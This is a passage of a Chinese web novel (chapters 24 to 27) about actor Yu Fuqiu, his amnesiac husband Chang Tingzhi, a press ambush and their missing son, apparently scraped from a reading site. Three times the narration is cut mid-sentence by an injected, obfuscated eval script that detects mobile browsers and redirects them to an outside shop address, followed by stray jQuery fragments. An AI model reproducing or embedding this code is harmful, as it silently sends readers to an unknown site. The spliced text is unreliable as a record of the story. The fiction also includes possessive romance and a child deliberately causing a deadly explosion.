然后,他感知到长庭知的身体在抖。
“庭……知?”
余赋秋小心翼翼地叫着长庭知的名字。
长庭知慌张的像是失去宝物的孩子,他拼命地抱住怀中的余赋秋,毛茸茸的脑袋不断地往余赋秋的肩窝里蹭着,温热急促的呼吸喷洒在余赋秋的肌肤上,带来一阵阵战栗。
随即,余赋秋的身体骤然僵硬起来——
有几滴温热的液体落在了他的肩膀上,那触感是这么的真实,仿佛要将他烫伤。
长庭知……哭了?
这个念头一出现的时候,余赋秋的呼吸有片刻的停滞。
他还没反应过来,下巴就被一股力量钳制住。
他被迫抬起头,微张的唇被撬开,熟悉的气息从肌肤里渗透入毛孔中。
——那是余赋秋最熟悉的味道。
“球球,球球……”
余赋秋的后脑勺被他的手紧扣着,被迫张开了嘴。
但长庭知拧了拧眉头,指尖撩起他的衣物,在腰窝处揉了一下,如电流般的刺激从尾椎骨顺着神经末梢一路往上蔓延,余赋秋瞳孔有片刻的失焦,腿一软,既便坐在椅子上,身体还是如水般软了下去。
偏偏中了长庭知的意,他唇角勾起,单手抱起余赋秋,将他压在沙发上,顶开双膝,含住余赋秋的舌尖,缠绕着小舌,慢慢地捻动着,将余赋秋的舌尖又吸又舔又咬。
吃的水声弥漫,余赋秋的脸上染上了水色,他舌根发疼,呜咽着往后推搡,但他整个人被抵在沙发和长庭知之间,最后的退路都被堵死了,只能被迫再次张开唇,迎接让他窒息的罪魁祸首。
“呜,不要……”
余赋秋的喉间发出细碎的呜咽,眼泪弥漫了眸子,长发凌乱,抓着长庭知衣角的指尖泛着白,差点握不住。
“球球,我的球球……”
长庭知仿佛要把他吞吃入腹,融入骨血才肯罢休。
直到余赋秋喘不过气,他才放开了余赋秋,指节抚摸着已经红肿的唇,眼神晦暗不明,他深深一口气,似乎在压制着什么。
他深深地闭上眼睛,埋入余赋秋的肩窝处。
余赋秋清晰地听到了一声压抑的、带着哽咽的叹息,那声音沙哑破碎,却重重地砸在他身上。
“太好了……”
“你还在,真是太好了……”
“球球,你只能是我,你不能爱上别人。”
“知道了吗,你不能爱上别人!”
“即使是‘我’,你也不可以爱上……”
长庭知的声音忽然越来越小了,几乎能量陡然耗尽,他倒在余赋秋的身上,呼吸平稳,似乎陷入了某种沉睡。
余赋秋迷茫地眨了眨眼睛,他伸出手,像抱着无数次抱着小时候的长庭知一样,轻轻拍了拍他的背部,耳边是熟悉的气息,甚至可以感知到长庭知的强健有力的心跳声。
这让余赋秋都倍感心安。
这个是他的庭知,是不是?
他的庭知回来了?
即使只有短暂的一瞬,也好啊。
至少让他知道,他可以等待庭知的回归。
怀中的身躯抖动了下。
长庭知慢慢地睁开了眼,当他意识到自己和余赋秋以如此亲昵的身体姿势相贴的时候,他的大脑空白了片刻。
他想要立刻起身,推出这个怀抱。
他明明分外厌恶和别人的接触,甚至是在大夏天的时候,他也是穿着长袖,将自己所有裸露在外面的皮肤包裹起来,一旦和别人接触,他就引起生理上的厌恶,要洗好几遍都不满足。
他怎么可能会主动去拥抱一个人,还是以如此亲昵的姿势?
理智上告诉他必须要起身,这是他厌恶的事情,可是心中总有股莫名的情绪,压在心头,让他根本无法动弹,无法从这个怀抱中动弹半步。
这是什么感情?
长庭知罕见地露出了一丝迷茫。
尤其是当余赋秋抱着他,一只手轻拍着他的背部,耳边哼着熟悉的,令他心安的曲目。
曲目?
他不应该正在处理公司的生意吗,为什么会出现在这里?
好像是谁和他
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17124689|196008||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
禀报余赋秋昨晚进了医院……
长庭知的神色瞬间冷了起来,一把推开了余赋秋。
刚才还温存的气氛在这一刻荡然无存,余赋秋的手还僵在半空,温热的气息被带走,取而代之的是冰冷的空气。
他抬眼,对上那双冰冷的眸子,整个人如同从水里捞出来,寒意在这一刻充斥着全身。
“又是什么新手段。”
长庭知靠在梳妆台上,冷冷问他:“把你自己作进了医院,虽然我不知道你用了手段,居然让我放下百亿的生意跑来这么偏远的地方找你,但我劝你别白费心思了,假的就是假的。”
“你这种处心积虑的人,我见多了。”
心中先前满怀的温情在这一刻冰冻了下去,余赋秋压下心中腾升起的酸涩,尽力维持自己的声音:“没有。”
“是你自己来找我的,我也没有作,我昨晚确实是进了医院。”
他把头发撩开,露出白皙的脖子上,在长庭知把他压在沙发上亲吻的时候,蹭掉了不少粉,现在根本遮不住那触目惊心的痕迹。
余赋秋的眼眸上扬,对着长庭知那双黝黑的眼睛,“他们全都往我身上打,撕开我衣物的时候,你知道我在想什么吗?”
长庭知神色一愣,僵在原地。
想什么?
余赋秋是演员,肯定是想万一被爆出来,他的星途就完蛋了,他的清白就被毁了,他的长太太就坐不稳了,那么他也捞不到好处……
本该是这样想的。
但此刻,长庭知脑海中却只有一个念头。
他嘴唇蠕动着。
他想问——
你疼不疼。
仅仅是升起这个念头,心头就有无数根密密麻麻的刺扎着他的心脏。
长庭知拧眉,他甚至不敢用力呼吸,一旦呼吸,牵扯着心脏,会导致更疼。
“我在想,幸好受伤的不是你。”
余赋秋轻声道。
空气在这一刻骤然凝固下来。
长庭知瞳孔皱缩,他的呼吸在这一瞬间,停滞了片刻。
有很多话想要破口而出去质问余赋秋,但到了嘴边,却全都化为了乌有。
“你在十八岁那年,为了救我,被人打的重伤,连肋骨都断了好几根,戳进你的肺里。”
余赋秋慢慢起身,他身着白色的戏服,眉间一抹玫红,系着长发的红色带随风飞舞,满身的光,朝着长庭知走来。
“那一刻,我多希望,躺进icu的人是我,我替你承担这所有的痛苦。”
他只是一个炮灰,一个连小说里都不存在的人物,一个黑户而已。
而长庭知不一样,他是这本小说的主角攻,这个世界会围绕他而转,他会有光明的未来,不应该止步于此。
那一刻,余赋秋是有后悔自己的贪心,把长庭知留在了自己的身边。
“我对着医院的墙祈祷了很久很久……”
幸好,上天听到了他的请求。
长庭知醒了。
他醒来的第一件事,就是举着手中他打工攒了三个月买的戒指,脸上的氧气罩还没撤下,虚荣地对着余赋秋说:“嫁给我吧,球球。”
余赋秋眼中尽然是柔情,他抬起手,慢慢地抚摸上长庭知的唇角,踮着脚,在他的唇边留下温柔一吻。
“所以,我不会后悔,不论你变成怎么样,你都是我的爱人。”
25. 第 25 章
爱人。
长庭知活了二十多年的人生中,根本没有这个字眼。
他童年被虐待,等到被真正的家人找回家了后,面对家人的痛哭流涕,他感知不到任何的情绪,看着那一张张与他相似的脸庞,他只觉得聒噪和无聊。
他从小就和其他的孩子不一样,不爱哭不爱闹,只会一个人静静地坐在一旁。
他被说不合群。
在他被送去医院的时候,是发生了一件事情。
那天,他所在的班级被劫持了,教室的几个孩子被作为人质绑了起来,那几个孩子身上绑着炸弹,绑匪以此为要挟,要求学校给钱放人。
教室里充斥着孩子的哭声,空气中弥漫着汗水和火药的味道。
被劫持的孩子太小了,根本不懂得安静,只会遵循着本能发出尖锐爆裂的哭声。
好吵。
长庭知安静地坐在角落,无机质的黑眸中带着丝丝的厌倦,他的脸上没有任何的表情,只是安静地看着绑匪指着人质身上的炸弹,和外面老师们声嘶力竭地谈判。
哭能解决什么。
只是徒劳的挣扎罢了。
如果能突然安静下来就好了。
长庭知想着,眸光淡淡地转向离他最近的孩子。
一个冰冷而扭曲的念头,悄然钻入他的心底,他忽然勾起了唇角。
在绑匪的情绪越来越激动,谈判陷入僵局,时间仿佛在这一刻骤然安静下来之际——
长庭知的指尖一动,那个曾经嘲笑他的男孩手腕上的手表猛然发出激烈的警笛声。
绑匪紧绷的神经在这一刻骤然断裂,他失去最后的耐心,举起手上的遥控器,“都去死吧。”
按钮在那一刻被按下。
剧烈的爆炸声震耳欲聋,火光和浓烟瞬间蔓延开来,破碎的桌椅和残肢四处飞溅,灼热的气浪夹杂着血腥味扑面而来。
而站在角落里的长庭知,微微眯起了被气浪拂动的眼睛。
他面无表情的凝视着这一切。
看着那曾经嘲笑他的男孩,被爆炸的气流轰出去,身上全都灼烧,正躺在他的脚边痛苦的哀嚎着,鲜血弥漫在他的鞋底,印出一个个红血印。
长庭知清晰地感受到了一种前所未有、冰冷的——
快感。
众人赶来,只看到站在一片废墟和残肢中,眼神无机质,嘴角却挂着诡异笑容的长庭知。
他就这样被送去了医院,被确诊情感缺失症。
他怎么会情感缺失呢?
他分明感受到了那种掌控他人命运,轻易就可以抹除厌恶存在的,令他至高无上扭曲的喜悦。
但他知道,现在的他一旦不合乎人群,就会被打上异类的标签。
那怎么可以。
他走了,他还怎么愉悦呢?
于是他开始装作人们眼中的乖巧,成为别人家的孩子。
他的记忆是不会出错的。
可是有一天,有一个人站在他的面前,亲吻着他,告诉他:“我是你的爱人。”
……
这太可笑了。
长庭知指尖轻抚着唇边的余热,那是余赋秋之前留下温柔的吻。
他怎么会……有一个爱人?
“那你今晚,可以回家吗?”
余赋秋往后退了一步,拉开恰到好处的距离,仿佛前面在他怀中亲昵撒娇的是其他人。
这种落差让长庭知不适的蹙了蹙眉头。
他张口,话滚落到嘴边却怎么也说不出来。
长庭知的视线忍不住往余赋秋的脖子上扫视着,那些青紫的痕迹在脖子上分外的明显,每每这时候,长庭知就感知到心脏传来莫名的抽痛。
他很害怕。
他需要我。
长庭知眼神低垂,看着比他矮了一个头的余赋秋,落入那双亮如星辰的眼眸,里面全然是他的身影,纯净的如同一汪清水。
长庭知喉头滚动了两下,低沉地‘嗯’了一下。
余赋秋不敢相信自己的耳朵,他先是一愣,随即巨大的狂喜如同潮水般向他奔涌而来,但他克制着自己的动作,他转身,唇角上扬,“噢……好,好,那,那我去和小玲说一下。”
“不用。”
长庭知的声音依旧是冰冷,丝毫不带一点感情,但在余赋秋的耳朵里,却是染上了一丝丝的温度。
“今天是星辰晚宴,我来接你过去。”
星辰晚宴。
余赋秋的脚步一顿,书中的剧情慢慢浮现了上来,这是主角攻受的第一次见面。
但这次不一样,长庭知的身边有他。
他深吸了口气,拍了拍自己的脸,想要压下心底的不安,“那我去准备下,长秋集团刚出了秋冬季的设计,刚好我穿在身上,打个宣传……”
在他的手刚搭在门把上准备开门出去的时候,一只有力的臂膀挡在了他的面前。
余赋秋疑惑地抬起眸,不明白长庭知的操作。
“不牵手?”长庭知挑了挑眉,“刚打破了婚变的有谣言,外面又有那么多工作人员在,不是得维持好人设?”
余赋秋刚还在悸动的心缓缓沉了下去。
是了,他怎么忘记了原书主角攻的人设呢?
他有一个设定是感知不到任何的情绪,只有命定的主角受才可以让他感知到喜怒哀乐,让他体会到无上的新奇,带给他无限的刺激。
也正是因为如此,他们两个才是天生一对。
可是——
余赋秋的眸光看着那只横在他面前的手,前不久这双手还紧紧拥抱着他,抚摸着他的肌肤,他们耳鬓厮磨。
至少,现在长庭知是他的。
还是在他的身边的。
他的手轻轻挽住了长庭知的手腕,肌肤相触的温热让他为之一动。
他的耳根逐渐爬上绯红。
余赋秋暗自在内心里唾弃自己,都结婚这么多年了,孩子都七岁了,怎么还搞得和刚谈恋爱的毛头小子一样?
但即便如此,在打开门的一瞬间,他还是忍不住挪动着一个又一个的步伐,拉近他们之间的空间,去靠近长庭知。
“余哥!你没事……吧?”
谭铃听见门开的时候,一脸担忧和警觉的转过身,手上还拿着道具组的剑,这剑都是真剑,上面泛着冰冷的光芒,折射长庭知那张面无表情的脸。
“长哥,你你你,还在啊……”
长庭知冷眼扫了一眼她手中的剑,“对。”
谭铃立刻收回了剑,勉强挤出笑,她胆战心惊地守在门口,生怕长庭知对余赋秋干什么危险的事情。
褚楚姐什么也不说,只是说让她尽全力照顾余赋秋,告诉她余赋秋一个人真的很不容易。
可是看余赋秋被长庭知几乎半揽在怀里的模样,谭铃晃神,好像以前的长哥回来了。
可是,她又觉得哪里不一样了。
……
“很紧张?
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17124690|196008||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
”
长庭知靠在座位上,闭目养神,却依旧可以感知到身旁时不时盯着他的视线。
“不,不是……”余赋秋连国际的红毯都去过,再大的奖也拿过,但他真的和一个全新人格的长庭知相处的时候,忽然不知道说什么了。
“你和他以前单独相处的时候,会干什么。”
长庭知睁开眸子,侧过脸,黝黑的眼睛如同黑洞一般深不见底,凝视着余赋秋。
这是第一次,长庭知主动和他提及先前的‘长庭知’。
“庭知他……”余赋秋抿了抿唇:“你希望……我怎么区别你们?”
“你和他完全不是一个性格的人,他喜欢吃香菜、爱吃兔子的奶黄包,会把兔子的耳朵摘下来,他说那个太硬,他不喜欢,他吃番茄不拨皮,也爱吃番茄炒拉条配一个优酸乳……”
“还有……他只喜欢在吃白粥的时候吃鸡蛋,把蛋黄掰碎了,倒在粥里,你不知道他小时候多挑剔,我费了很大的劲儿才改掉他的毛病,不然他怎么可能长到一米九……”
忽然,余赋秋的瞳孔骤然瞪大。
长庭知靠近他,吻住了他的唇,将他剩下的话都堵在了喉头。
他惊愕地张开了唇,更便于长庭知入侵。
但这个吻比他想象的要更加温柔,仅仅是停留在唇瓣上一会儿,随即他克制的往后退。
长庭知的眼神晦暗地看着那张红唇。
在下唇侧里,有一个不明显的牙印,只有吻过了,才知道上面留一个牙印。
那不是他留的。
这个念头在长庭知的心中陡然升起一阵怒火。
在余赋秋喋喋不休的话里,全是说的另一个人,这个认知让他感到恼火。
所以他要掐断余赋秋的话。
“余赋秋,你要记住。”
他抬起余赋秋的下巴,眼神是无机质的黑。
“现在成为你丈夫的人是我。”
“你必须要多了解我,这是你作为妻子的义务。”
“我不喜欢在你的嘴里听到其他男人的名字和喜好。”
“那是过去式。”
“你的现在和未来,都是我的妻子。”
他们之间的距离很近,近到余赋秋可以数清长庭知的睫毛,根根分明。
他瘦了好多。
余赋秋想。
“……好。”余赋秋慢慢点头,他的下巴还被钳制住,这让他不得不仰起头,对上那双眼睛。
“所以,你们会干什么。”
长庭知像是要得到答案的孩子,再次重复了一遍。
“……他会抱着我,亲吻,和我撒娇,我们会分享遇到的事情……”
他话音未落,整个人被长庭知抱进怀里。
随即,唇边又再次落下那道温柔的吻,紧接着,下唇内侧传来一阵细微却清晰的刺痛。
“唔……!”
余赋秋闷哼一声,是长庭知用牙齿在那最柔软脆弱的内侧黏膜上,不轻不重地咬下了一个印记。
随即,长庭知微微退开些许,依旧保持着将他紧紧抱在怀里的姿势,垂眸看着余赋秋瞬间泛红湿润的眼眶和那被蹂躏过的、带着隐秘齿痕的唇。
“这样吗?”
他轻声道。
“这是我们独处时,第一个相处的动作。”
“你要学会适应我。”
毕竟……
你现在是我的妻子。
独属于我的。
26. 第 26 章
“哇——”
闪光灯的照射让余赋秋回过神来,他下意识地想要躲闪镜头。
镜头?
余赋秋骤然抬头,才发现车门不知道什么时候被拉开了,长长的镜头像是一个个漆黑的炮弹,对着他。
而此刻的他被长庭知抱在怀里,长庭知适宜地俯下身,在他的额角落下一个温柔的吻。
余赋秋忽然搞不懂了。
长庭知为什么会忽然转变了一个性子,原书的主角攻应该是现在感知不到任何的情绪才对,对任何的事情都是抱以冷漠和利益价值的态度。
“赋秋!!!”
“球球!”
“来,余先生,看镜头,在背面墙上留下您的签名。”
这个活动虽然是说慈善晚会,但其实根本底子还是在咖位和粉丝上面。
余赋秋一向不喜欢这种活动,但是……
他紧抓着长庭知的衣角,从长庭知的视角来看,他低垂着眼眸,咬着嘴唇,睫毛轻颤,似乎在害怕离开他。
他挑了挑眉头,忽然觉得余赋秋很有意思,垂下眼睛,遮盖了眼中的嘲弄。
“真是恩爱呢,赋秋是不是私底下也和刚才一样那么粘人呢?”
明明话题说的是余赋秋,但镜头和话筒却对准了长庭知。
没有缘由,正是长庭知的行为给大众一个暗号,他除了前面发了那条微博之外,再也没有任何对外界秀恩爱的行为。
余赋秋神情紧张,他忘记了,应该在车里的时候和长庭知对一下口供才对,长庭知对于他们的恩爱连一点点记忆都没有,万一出现了问题……
长庭知虽然不参加综艺也不演戏唱歌,但他长相俊美,又是年龄小的一方,加上白手起家创建了长秋集团,他也有一批极端的粉丝。
余赋秋曾经受过他这批极端粉丝的死亡威胁,威胁他要和长庭知离婚,美名其曰还长庭知的自由。
长庭知微微歪头,他很会找角度,镜头中的他满目爱意,温柔地凝视着余赋秋,他的手搭在余赋秋的腰,虚虚地靠着,他宠溺且无奈地笑笑:“其实撒娇更多的反而是我。”
“前面球球再给我扣扣子呢,老婆在面前,当然要多撒娇了。”
现在是以直播的形式进行,这时候弹幕已经疯了。
【沉幺幺幺:扣扣子?在车上干嘛呢,为什么要解开扣子呢,当然是嘿嘿嘿……】
【襄阳二十:长庭知这个眼神,这么漂亮的老婆乖乖巧巧地帮我系扣子,是我,我都忍不住,早就亲上了,谁还来参加这个晚会,当然是晚上回去和老婆亲亲啊。】
【nana:服了,秀恩爱也要看场合好吗,这又不是余赋秋的主场,他在这里出什么风头,恶心,滚一边去。】
【……】
“你们对于离婚这个说法有什么要解释的吗?”
“还有为什么外界都在传余赋秋出轨胡道元了呢,对于这张照片你怎么看?”
“这么长时间都没有活动和互动,是否与出轨离婚有关呢?”
这几个提问如同热油溅入冷水,瞬间在发布会现场炸开。原本还算有序的氛围陡然凝固,所有镜头和目光都聚焦在台上的两人身上,四周响起压抑不住的窃窃私语。
余赋秋看着那张照片,那是他去母校帮忙选角的时候,他看见柯祈安,情绪崩溃,胡道元把自己的外套披在他的身上,这个拍摄的人很会找角度,照片中的他亲昵地靠在胡道元的怀中,他们相贴,仿佛是一对爱人耳鬓厮磨,诉说着对彼此的爱意。
他的脸色骤然苍白,血液仿佛瞬间冻结。
恐慌如同冰水兜头淋下,他惊慌地抬眸,下意识看向身旁的长庭知,嘴唇微颤,想要立刻解释:“不是的,庭知,那天是……”
他好不容易才和这个失忆后的长庭知关系缓和了一些,他太清楚原书中这个主角攻的性格有多么冷酷和决绝,眼里容不得半点沙子,尤其厌恶欺骗和背叛。
不行,不可以!
他不要再回到那些被冰冷对待、孤零零一个人的夜晚!
他下意识地紧抓住长庭知西装的衣角,指尖因用力而泛白,刚想再度开口,却被长庭知抬手轻轻打断。
所有人的注视下,长庭知面色沉静,看不出丝毫波澜。
他修长的手指不疾不徐地拿起那张被反复展示的照片,目光冷淡地扫过。
“首先,”他开口,声音头功麦克风清晰地传遍全场,带着一种不容置疑的力量,“我想你们误会了一件事情。”
他当着镜头,慢慢地将那张照片撕成粉碎,随即用手一扬,而后自然地伸出手,握住了余赋秋抓着他衣角、微微颤抖的手,与他十指相扣,举到了镜头的面前。
两只交缠的手上婚戒的光闪烁着耀眼的光芒。
“我们感情很好,不存在任何离婚的打算。”
他的语气平淡,仿佛在说今天的天气很好。
他侧过头,冷淡的视线扫过余赋秋苍白的脸,随即重新看向镜头:“至于这张照片。”
“是不是‘人’拍出来的不好说,毕竟现在的AI技术如此发达。”
“或许你、还是你,”他的指尖如同判官笔,逐一点过那几人,让他们不自觉地瑟缩了一下,“在某个暗网的角落里,还能找到自己都不知何时被拍下的‘隐私视频’呢。需要我帮忙‘科普’一下获取渠道吗?”
他勾起一抹极淡,带着嘲讽的弧度:“我倒是很好奇,几位所在的‘知名媒体’,凭着一张不知从哪个阴沟里流传出来的、来历不明的照片,就敢在如此盛大的晚会上,当着我的面,公然质疑、污蔑我的妻子。”
他微微前倾身体,脸上带着温柔的浅笑:“各位,是看不起我长庭知,还是觉得我长秋集团的法务部,已经闲到没有案子可接了?”
“如果诸位执意要探讨照片的真实性,那么,我们或许更适合换一个场合——比如,法庭的被告席上见。”
话音落下的瞬间,全场死寂。
“其次,胡导是我和球球共同的朋友,在球球身体不适给予帮助,我很感激,仅凭一张照片就臆测出轨,各位的想象力,未免有些丰富了。”
“请问还有什么问题?”
长庭知挑了挑眉头,眼含笑意地扫视着面前先前还在质问他们的记者。
记者萧索了下,咽了口唾
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17124691|196008||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
沫,结巴道:“没,没有……”
“感谢各位的提问,如有任何疑惑,欢迎来长秋集团找我,今晚的主场是慈善。”
他微微骇首,拉着余赋秋的手就要走。
忽然想到了什么,他的脚步一顿,微微抬头,冲着镜头笑道:“我非常爱我的妻子。”
【十点零:wk!!!霸气护妻!!!】
【春暖艳阳天:我的天,这是我认识的长庭知?他居然这么毒舌?】
【啊拉拉拉啊啦啦:楼上,你得知道长秋集团的实力啊,现在可是上市公司……你们一直刷短视频的软件就是他们公司出的……长庭知这样的人怎么可能傻白甜。】
【秃噜皮:娘嘞,深藏不漏啊,这是他第一次在镜头面前出这样的样子?而且我从来没听过他喊球球妻子,都是喊老婆……】
【jfirjfierfje:别说……我感觉长庭知有点不一样,他和余赋秋之前的氛围都是让我感觉是真情侣,现在倒是有点像假的,硬生装做出来的……】
余赋秋的手被长庭知牵住,他把他的手握在掌心,共同握着一支笔,在背景图上签下了他们两个共同的名字。
所有气势汹汹的提问和窃窃私语在那一刻骤然消失,长庭知用最直接的方式告诉所有人,他在他的身边。
他怔怔地被他牵着手,感受着掌心传来的、坚定而温热的力量,看着他为自己挡下所有流言蜚语的背影,眼眶忍不住发热。
……
走到后台,所有的人声鼎沸都被抛之了脑后,余赋秋被喊去拍照。
空荡的房间只留长庭知一个人,他解开领带,坐在椅子上一手随意地支撑着线条分明的下颌,另一只手搭在扶手上,指尖有一下没一下地轻点着。
他懒懒抬眸,视线落在空荡的地面身上。
“总裁。”这时候,秘书敲了门,从门口进来。
“何必这么麻烦,您的目的不是……”
男人眉眼低垂,细碎的光透过缝隙,映出高挺的鼻梁和那双无机质黑的眸子,对着秘书道:“他想要的目的这下可以达成了。”
“……什么?”
秘书不懂他的意思。
“利用我的反应,坐实‘恩爱’传闻,彻底粉碎离婚和出轨的流言,稳固他‘长太太’的地位和摇摇欲坠的公众形象……”他慢条斯理地列举着,“现在,效果不是很好吗?”
“根据我们签订的合约,我配合他维持他的人设,他要在下一个季度的时装展里面,至少将长秋集团的秋冬季打上一个点。”
他笑着:“仅仅是在众人面前装这个模样,我觉得这笔买卖很划算。”
“那您,为什么要在车上对余先生说那些话?”
“甜言蜜语?”长庭知无所谓笑笑:“那不是张嘴就来吗?人这种生物,总是喜欢自作多情,能装样子拿到我想要的东西,我还不需要费一点心思,这不是很划算的买卖吗。”
“不过他的反应的确很让我惊喜。”他起身,走到窗边,看着下面拍照的余赋秋,眉目弯弯:“这样天真的人,捧上云端再坠入深渊的感觉……”
“最棒了,不是吗。”
27. 第 27 章
“妈咪!”
余赋秋在走完了流程之后,整个人已经累的抬不起胳膊了,这个晚宴还有表演,但他现在又实在想念长春春得紧,现在躲在后台,给长春春打电话。
余赋秋无奈地戳了戳视频里小孩胖胖的脸:“说了多少次,在外面要喊爹地。”
“不嘛不嘛,就要喊妈咪。”春春在视频这头对着余赋秋吐了吐舌头。
“爸爸在你周围吗?”长春春被褚宝梨接了过去,他一个人躺在小小的床上,看着那张与长庭知相似的脸,余赋秋失神了下。
“不在,你想念他了?我现在去找他。”
“妈咪……爸爸和春春说过,要好好陪在你的身边,来保护你。”春春看着母亲的脸庞,喉咙滚动了下,最终还是没有把长庭知的原话告诉余赋秋,“妈咪,春春七岁了,其实春春很多东西都知道。”
“不要把春春当作一无所知的小孩子了,妈咪完全可以告诉春春,让春春和妈咪一起分担。”
余赋秋的心脏抽动了下。
他不是没有想过告诉长春春,长庭知失忆这件事,他不知道怎么开口,怎么一向爱他的爸爸变得这样冷漠无情,把他当作只是一个想要上位的人。
或许长庭知根本不会相信,长春春是他的孩子。
他曾经在余赋秋的面前称呼长春春为……“野种”。
所以余赋秋不知道怎么开口。
他看着在怀中安睡的孩子,只是抿着唇。
这些事情,就让他自己承担吧,他的孩子,只要健健康康,快快乐乐的长大,这就足够了。
“没事的,春春,过两天,妈咪和爸爸过去接你。”他的喉头干涩,都三十多岁的人了,怎么还能让七岁的孩子担心自己呢?
余赋秋,你真是越活越过去了。
“妈咪,平安福有带吗?”
长春春的眉头紧蹙,不知道为什么,今天他的情绪分外的躁动,打电话看到了妈咪的脸色才好些,起码爸爸现在是陪在妈咪身边的。
“带着呢,怎么了宝贝,昨天不是刚见过吗?”余赋秋隔着屏幕,触碰着长春春的脸,心中充斥着无限的慈爱,这是他和长庭知的孩子,这是他们存在世界上唯一的血脉。
“想你啦!记得明天来接春春哟!”
余赋秋不舍得挂断了电话,但一想到今晚长庭知说会回来,低落的情绪又开始盎然了起来,心中起着小小的跃雀。
马上要到晚宴的时间了,余赋秋看着手机,心中盘算着小说中剧情开始的时间,也差不多了。
但是在余赋秋刚走到大厅的门口,一个声音让他停下了脚步。
“余先生。”
余赋秋扭头,看到的是一个文雅的青年,一身的书卷气,余赋秋不记得印象中认识这个人,他礼貌回应。
“您不认识我是正常的,我是长总新聘的秘书。”
秘书……
这两个字让余赋秋停下了脚步,先前柯祈安也当任过长庭知的秘书,但后面他们就没有任何的交集了。
“您叫我虞旭就好。”
“你好,庭知在里面吗,我找他有事情。”
虞旭眼镜后那双狐狸眼眯了起来,看了余赋秋半响,扬起一抹标志性的笑容,“公司那边忽然有事情,他先回去了,让我转告您,晚点回家。”
回家……
余赋秋的舌尖慢慢摩梭着着这两个词,小声哼哼了两声,脸上是抑制不住的笑容。
那就是长庭知现在不在宴会了,遇不到柯祈安了,是不是剧情就不会那么快的发生了?
他压抑下心中的跃雀,“好,我进去打个招呼。”
连脚步都带着欢悦的步伐。
虞旭依旧矗立在那里,看着那道倩影消失在视野中,他才缓慢地眨了眨眼,呼出一口长气,“难怪……长总能被他吸引。”
他想起长庭知的话,浮现出一抹微笑:“看着这么漂亮的人从云端跌落泥地的感觉……确实很让人上瘾。”
余赋秋转了一圈,和每个人都打了招呼后,脸上挂着笑容,忍不住让人频频回首看他。
确定长庭知不在这里,而是回了公司后,余赋秋悬着的心终于安定了下来,他缓缓吐出一口气,紧绷的神经在这一刻骤然松懈下来。
或许那就是个梦呢?
长庭知只是失忆了而已,根本不是什么原书的主角攻呢?
这一切或许都是他精神失常自己的错觉吧。
余赋秋坐在露台的长椅上,长发随风微扬,他放松地靠在身后的椅子上。
在仰头望着天空的时候,他微微瞪大了眼睛。
满天繁星倒映在他的眼睛里面。
今天真是个难得的好天气,在城市的中心居然可以看到久违的星空。
他的心情前所未有的轻松,仿佛回到了他和长庭知还在相爱的时候。
只要有长庭知在,他就拥有无限的力量,可以毫无顾忌地往前走。
就在这时候,一道铃声的响起,粉碎了这片刻的宁静。
是褚宝梨打来的。
“姐?”
余赋秋举起了手机,有些疑惑地问。
“赋秋!春春前面是不是给你打电话了?”褚宝梨的声音中充满着惊慌,不好的预感在余赋秋的心脏上跳动。
“是,他前面给我打电话了,说很想我……”
“春春不见了!”褚宝梨一回到家,原本紧闭的房门被打开来,安静呆在房间里看书的长春春不见了踪影,他什么都没带,仿佛是凭空消失了一样,只有门口的鞋子不见了。
“春春是不是去家里了?”
他们买的房子很多,但是常住的就几个,位于褚宝梨家最近的就是那个破旧的房子了。
那个破旧的房子已经被划入了老城区的范围了,周围都是老年人居住,大晚上也不安全。
余赋秋只带春春去过几次,他去这里干什么?
“我立刻去找他!”
余赋秋计算着从破旧的房子回到家里的时间,应该还能赶得上长庭知回来的时候。
余赋秋不顾阻拦,宁愿闯了红灯,用尽最快的速度来到了破旧房子的地方。
当他终于气喘吁吁地停在那栋熟悉的、破旧的楼前,看到的楼下改造过的铁门,他愣了下,无数被刻意封尘的记忆如同潮水般汹涌而至,瞬间将他淹没——
他刚将长庭知捡回来的时候,他们只能蜗居在最底下的地下室,睡二十人的大通铺,那时候连拥有一个明亮的光都是奢侈的,连空气都带着挥之不去的污浊,他和长庭知只能挤在一张小小的床上。
刚被他捡到的长庭知瘦小,手脚冰冷,乖巧地窝在他的怀中,他不会说苦不说累,只是默默无闻地在早上起来的时候给余赋秋买早饭,然后去捡瓶子拿去卖,攒下来的钱可以给一个卤蛋。
他们伙食最好的时候,是余赋秋跑龙套当了特约,一天有两百块钱,余赋秋带他去吃了顿肯德基。
余赋秋看着瘦骨嶙峋的长庭知,看着面前的炸鸡吞了吞口水,但他只是伸出手,把面前的炸鸡推到了余赋秋的面前,用不熟练的普通话说:“你,你
